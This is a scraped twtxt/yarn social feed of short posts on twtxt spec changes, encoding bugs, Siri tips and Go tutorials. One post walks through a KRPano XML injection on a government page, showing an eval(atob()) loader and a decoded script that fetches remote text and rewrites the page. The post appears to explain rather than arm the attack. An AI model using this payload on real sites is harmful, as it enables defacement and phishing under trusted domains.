Go 1-24 的 omitzero:JSON 處理的福音
使用 omitempty 忽略 JSON 中的可選字段 (Go 1.24 之前)——————————————當你有一個要轉換爲 JSON 的結構體時,你可能有一些字段是可選的。例如,我們採用以下結構體:type Response struct { ID        string    json:“id” // 其他字段省略 UpdatedA ⌘ Read more

⤋ Read More

You have a microwave oven at home, right?

You can type 3 and 0 for 30 seconds, 100 for a minute (shown as 1:00), or 200 for two minutes (2:00).

What would happen if you type 777 and Start?
A) Nothing
B) Self-destruction
C) Will run for 7 minutes and 77 seconds (boring!)

What about 7777 ?

⤋ Read More
In-reply-to » @lyse Where? 🧐

@prologic@twtxt.net Of course you don’t notice it when yarnd only shows at most the last n messages of a feed. As an example, check out mckinley’s message from 2023-01-09T22:42:37Z. It has “[Scheduled][Scheduled][Scheduled]“… in it. This text in square brackets is repeated numerous times. If you search his feed for closing square bracket followed by an opening square bracket (][) you will find a bunch more of these. It goes without question he never typed that in his feed. My client saves each twt hash I’ve explicitly marked read. A few days ago, I got plenty of apparently years old, yet suddenly unread messages. Each and every single one of them containing this repeated bracketed text thing. The only conclusion is that something messed up the feed again.

⤋ Read More
In-reply-to » reviewing logs this morning and found i have been spammed hard by bots not respecting the robots.txt file. only noticed it because the OpenAI bot was hitting me with a lot of nonsensical requests. here is the list from last month:

@bmallred@staystrong.run Surprisingly, my

User-agent: *
Disallow: /

seems to work. Or maybe those bastards change their user agent and claim to be someone nice. In any case, I just added a bunch of

location = /robots.txt {
    add_header Content-Type text/plain;
    return 200 "User-agent: *\nDisallow: /\n";
}

in my nginx config. No need for any bot to visit, crawl and index most of my sites.

⤋ Read More

How to Use “Type to Siri” with Apple Intelligence on iPhone & iPad
Using “Type to Siri” on iPhone and iPad is better than ever thanks to Apple Intelligence, and if you have a new enough iPhone or iPad. Type to Siri with Apple Intelligence includes ChatGPT integration, making it a notably more capable AI assistant, and it’s also much easier to access with the latest devices and … [Read More](https://osxdaily.com/2025/01/23/how-to-use-type-to-siri-with-app … ⌘ Read more

⤋ Read More
In-reply-to » Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>


the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

⤋ Read More

淺談 Go 語言 Optional 模式和 Builder 模式
在 Go 語言中,Optional 模式和 Builder 模式都是用於對象構建和配置的重要設計模式,但它們各自具有獨特的特點和應用場景。但是使用起來也是非常的類似,就好比電動車和摩托車,都能讓你不費太多力氣的騎行,把你送到目的地,這篇文章我們就來討論一下這兩個模式的本質區別和不同的使用場景。我們首先聲明一個結構體,後面我們就研究使用兩種不同方式來創建這個結構體的實例:type Person st ⌘ Read more

⤋ Read More

How to Change Keyboard Shortcut for Type to Siri on Mac
The Type to Siri feature on Mac is super useful, particularly now that Siri has Apple Intelligence features. Using Type to Siri is perhaps even more handy for Mac users than using the voice activated Siri commands, but some Mac users may find themselves accidentally triggering Type to Siri by inadvertently pressing the initiating command … [Read More](https://osxdaily.com/2025/01/13/how-to-change-keyboard-shortcut-for-type … ⌘ Read more

⤋ Read More

Use “Type to Siri” on Mac Easier Than Ever in Sequoia
Siri has been considerably improved in recent MacOS versions, mostly because it’s now linked to ChatGPT. One of the other recent changes to Siri in modern MacOS versions is that it’s now easier to access the “Type to Siri” feature, no longer being relegated to an Accessibility setting that has to be enabled separately like … Read MoreRead more

⤋ Read More

We had a faint yellow-orange-redish sky this evening. Only subtle, but it was actually one of those rare 360° sunsets. Just when I thought, that was it, it’s now over, the colors took off like crazy: https://lyse.isobeef.org/abendhimmel-2025-01-01/

Image

A much nicer start into the year than all the hell yesterday. However, just as I type this, there come also the next round of explosions as darkness falls. Those bloody fuckers, please blow yourselves up!

⤋ Read More

i’ve transitioned text editors from nano (yeah i know) to micro and god micro is just so much better i did not know there was a CLI text editor i could use with sensible keyboard shortcuts that did not leave me feeling like i’m typing nuclear codes to do simple tasks like saving and editing

⤋ Read More
In-reply-to » tried building the yarn social app for android but wahhh android studio and flutter scare me... big ass IDEs and SDKs and shit not worth it

fair lol! i should give the web app a try, i don’t think i’ll get much use out of it from my phone anyway because i suck at typing on a phone but i might as well log in!

⤋ Read More
In-reply-to » For Example:

@prologic@twtxt.net maybe you meant to specify twtxt as a type similar to ActivityPub’s application/activity+json in https://webfinger.net/lookup/?resource=sorenpeter@norrebro.space

    {
      "rel": "self",
      "type": "application/activity+json",
      "href": "https://norrebro.space/users/sorenpeter"
    },

Then it would also make sense to define a Link Relations but should that then link to something like https://twtxt.dev/webfinger.html where we can describe the spec?

⤋ Read More
In-reply-to » One benefit with bluesky is your username is also a website. And not a clunky URL with slashes and such. I wish twtxt adopted that. I have advocated for webfinger to for twtxt to let us do something like it with usernames. Nostr has something like it

@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?

the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?

  • phone number: yes because everyone knows what a phone number is.
  • email address: yes, everyone knows an email and their aol or prodigy will let them email.
  • twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
  • domain name: yes its simple and you just type it in a browser right?
  • twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?

⤋ Read More

One benefit with bluesky is your username is also a website. And not a clunky URL with slashes and such. I wish twtxt adopted that. I have advocated for webfinger to for twtxt to let us do something like it with usernames. Nostr has something like it

By default the bsky.social urls all redirect to their feeds like: hmpxvt.bsky.social
Many custom urls will redirect to some kind of linktree or just their feed cwebonline.com or la.bonne.petite.sour.is or if you are a major outlet just to your web presence like https://theonion.com‬ or https://netflix.com

Its just good SEO practice

Do all nostr addresses take you to the person if typed into a browser? That is the secret sauce.
No having to go to some random page first. no accounts. no apps to install. just direct to the person.

⤋ Read More

iOS 18.1: How to Type to Siri
With the introduction of Apple Intelligence in iOS 18.1, communicating with Siri has become more flexible since you can easily type your requests instead of speaking them. It’s a subtle but powerful change that’s perfect for those moments when you need to be quiet or discrete.

Image

Enabling Type to Siri is straightforward. Head to Settings -> Apple Intelligence & Siri, tap Talk & Type to Siri, and make sure th … ⌘ Read more

⤋ Read More
In-reply-to » @prologic I'm not a yarnd user, so it doesn't matter a whole lot to me, but FWIW I'm not especially keen on changing how I format my twts to work around yarnd's quirks.

@bender@twtxt.net @prologic@twtxt.net I’m not exactly asking yarnd to change. If you are okay with the way it displayed my twts, then by all means, leave it as is. I hope you won’t mind if I continue to write things like 1/4 to mean “first out of four”.

What has text/markdown got to do with this? I don’t think Markdown says anything about replacing 1/4 with ¼, or other similar transformations. It’s not needed, because ¼ is already a unicode character that can simply be directly inserted into the text file.

What’s wrong with my original suggestion of doing the transformation before the text hits the twtxt.txt file? @prologic@twtxt.net, I think it would achieve what you are trying to achieve with this content-type thing: if someone writes 1/4 on a yarnd instance or any other client that wants to do this, it would get transformed, and other clients simply wouldn’t do the transformation. Every client that supports displaying unicode characters, including Jenny, would then display ¼ as ¼.

Alternatively, if you prefer yarnd to pretty-print all twts nicely, even ones from simpler clients, that’s fine too and you don’t need to change anything. My 1/4 -> ¼ thing is nothing more than a minor irritation which probably isn’t worth overthinking.

⤋ Read More
In-reply-to » @bender True, I'm just not sure we can have it both way? 🤔 I can turn smartypants off, but I do seem to recall you wanted it on 🤣

@prologic@twtxt.net I’m not a yarnd user, so it doesn’t matter a whole lot to me, but FWIW I’m not especially keen on changing how I format my twts to work around yarnd’s quirks.

I wonder if this kind of postprocessing would fit better between composing (via yarnd’s UI) and publishing. So, if a yarnd user types ¼, it could get changed to ¼ in the twtxt.txt file for everyone to see, not just people reading through yarnd. But when I type ¼, meaning first out of four, as a non-yarnd user, the meaning wouldn’t get corrupted. I can always type ¼ directly if that’s what I really intend.

(This twt might be easier to understand if you read it without any transformations :-P)

Anyway, again, I’m not a yarnd user, so do what you will, just know you might not be seeing exactly what I meant.

⤋ Read More

一文掌握 Go 語言 I-O 操作中的 io-Reader 和 io-Writer
在 Go 語言中,io.Reader 和 io.Writer 是兩個至關重要的接口,它們爲處理輸入輸出操作提供了強大且靈活的抽象。本文將深入探討這兩個接口的機制、常見用例、潛在陷阱以及一些高級應用,幫助你更好地掌握 Go 語言的 I/O 操作。io.Reader 接口:數據讀取的基礎———————-io.Reader 接口定義了讀取數據的通用方法:type Reader ⌘ Read more

⤋ Read More
In-reply-to » New post (mostly follow-up on the previous with a few new points) on the twtxt v2 discussion. http://a.9srv.net/b/2024-10-08

@2024-10-08T19:36:38-07:00@a.9srv.net Thanks for the followup. I agrees with most of it - especially:

Please nobody suggest sticking the content type in more metadata. 🙄

Yes, URL can be considered ugly, but they work and are understandable by both humans and machines. And its trivial for any client to hide the URLs used as reference in replies/treading.

Webfinger can be an add-on to help lookup people, and it can be made independent of the nick by just serving the same json regardless of the nick as people do with static sites and a as I implemented it on darch.dk (wf endpoint). Try RANDOMSTRING@darch.dk on http://darch.dk/wf-lookup.php (wf lookup) or RANDOMSTRING@garrido.io on https://webfinger.net

⤋ Read More
In-reply-to » There we go!

@prologic@twtxt.net Regarding the new way of generating twt-hashes, to me it makes more sense to use tabs as separator instead of spaces, since the you can just copy/past a line directly from a twtxt-file that already go a tab between timestamp and message. But tabs might be hard to “type” when you are in a terminal, since it will activate autocomplete…🤔

Another thing, it seems that you sugget we only use the domain in the hash-creation and not the full path to the twtxt.txt

$ echo -e "https://example.com 2024-09-29T13:30:00Z Hello World!" | sha256sum - | awk '{ print $1 }' | base64 | head -c 12

⤋ Read More

More thoughts about changes to twtxt (as if we haven’t had enough thoughts):

  1. There are lots of great ideas here! Is there a benefit to putting them all into one document? Seems to me this could more easily be a bunch of separate efforts that can progress at their own pace:

1a. Better and longer hashes.

1b. New possibly-controversial ideas like edit: and delete: and location-based references as an alternative to hashes.

1c. Best practices, e.g. Content-Type: text/plain; charset=utf-8

1d. Stuff already described at dev.twtxt.net that doesn’t need any changes.

  1. We won’t know what will and won’t work until we try them. So I’m inclined to think of this as a bunch of draft ideas. Maybe later when we’ve seen it play out it could make sense to define a group of recommended twtxt extensions and give them a name.

  2. Another reason for 1 (above) is: I like the current situation where all you need to get started is these two short and simple documents:
    https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html
    https://twtxt.readthedocs.io/en/latest/user/discoverability.html
    and everything else is an extension for anyone interested. (Deprecating non-UTC times seems reasonable to me, though.) Having a big long “twtxt v2” document seems less inviting to people looking for something simple. (@prologic@twtxt.net you mentioned an anonymous comment “you’ve ruined twtxt” and while I don’t completely agree with that commenter’s sentiment, I would feel like twtxt had lost something if it moved away from having a super-simple core.)

  3. All that being said, these are just my opinions, and I’m not doing the work of writing software or drafting proposals. Maybe I will at some point, but until then, if you’re actually implementing things, you’re in charge of what you decide to make, and I’m grateful for the work.

⤋ Read More

使用 Redis 和 Golang 解決併發問題
在構建分佈式系統和數據庫(如 Redis)時,併發問題可能會出現。本文將通過一個股票交易的例子,展示如何使用 Redis 和 Golang 來解決這些問題。問題定義—-場景: 構建一個股票交易應用,多個用戶可以同時購買不同公司的股票。每個公司都有一個剩餘的股票數量,用戶只能購買剩餘的股票。代碼:type Repository struct {  client goRedis.Client}fu ⌘ Read more

⤋ Read More
In-reply-to » LOl 😂 Not only have a tried to write up a full Twtxt v2 specification, I've also written a Bash shell script that implements the new spec 😅

@lyse@lyse.isobeef.org I’d suggest making the whole content-type thing a SHOULD, to accommodate people just using some hosting service they don’t have much control over. (The same situation could make detecting followers hard, but IMO “please email me if you follow me” is still legit twtxt, even if inconvenient.)

⤋ Read More

isn’t the benefit of blake2b that it is a more efficient algo than sha1 and has the same or similar entropy to sha3? i thought we had partially solved this with some type of expanding hash size? additionally we could increase bit density by using base36 or base64/url-safe…

⤋ Read More
In-reply-to » Now WTF!? Suddenly, @falsifian's feed renders broken in my tt Python implementation. Exactly what I had with my Go rewrite. I haven't touched the Python stuff in ages, though. Also, tt and tt2 do not share any data at all.

@lyse@lyse.isobeef.org Sorry, I don’t think I ever had charset=utf8. I just noticed that a few days ago. OpenBSD’s httpd might not support including a parameter with the mime type, unfortunately. I’m going to look into it.

⤋ Read More
In-reply-to » @movq Non-ASCII characters were broken. Like U+2028, degrees (°), etc.

Now WTF!? Suddenly, @falsifian@www.falsifian.org’s feed renders broken in my tt Python implementation. Exactly what I had with my Go rewrite. I haven’t touched the Python stuff in ages, though. Also, tt and tt2 do not share any data at all.

By any chance, did you remove the ; charset=utf-8 from your Content-Type: text/plain header, falsifian?

Image

⤋ Read More
In-reply-to » Hmmmm, I somehow run into an encoding problem where my inserted data end up mangled in the database. But, both SQLite and Go use UTF-8. What's happening here? :-?

@movq@www.uninformativ.de Non-ASCII characters were broken. Like U+2028, degrees (°), etc.

Turns out I used a silly library to detect the encoding and transform to UTF-8 if needed. When there is no Content-Type header, like for local files, it looks at the first 1024 bytes. Since it only saw ASCII in that region, the damn thing assumed the data to be in Windows-1252 (which for web pages kinda makes sense):

// TODO: change default depending on user's locale?
return charmap.Windows1252, "windows-1252", false

https://cs.opensource.google/go/x/net/+/master:html/charset/charset.go;l=102

This default is hardcoded and cannot be changed.

Trying to be smart and adding automatic support for other encodings turned out to be a bad move on my end. At least I can reduce my dependency list again. :-)

I now just reject everything that explicitly specifies something different than text/plain and an optional charset other than utf-8 (ignoring casing). Otherwise I assume it’s in UTF-8 (just like the twtxt file format specification mandates) and hope for the best.

⤋ Read More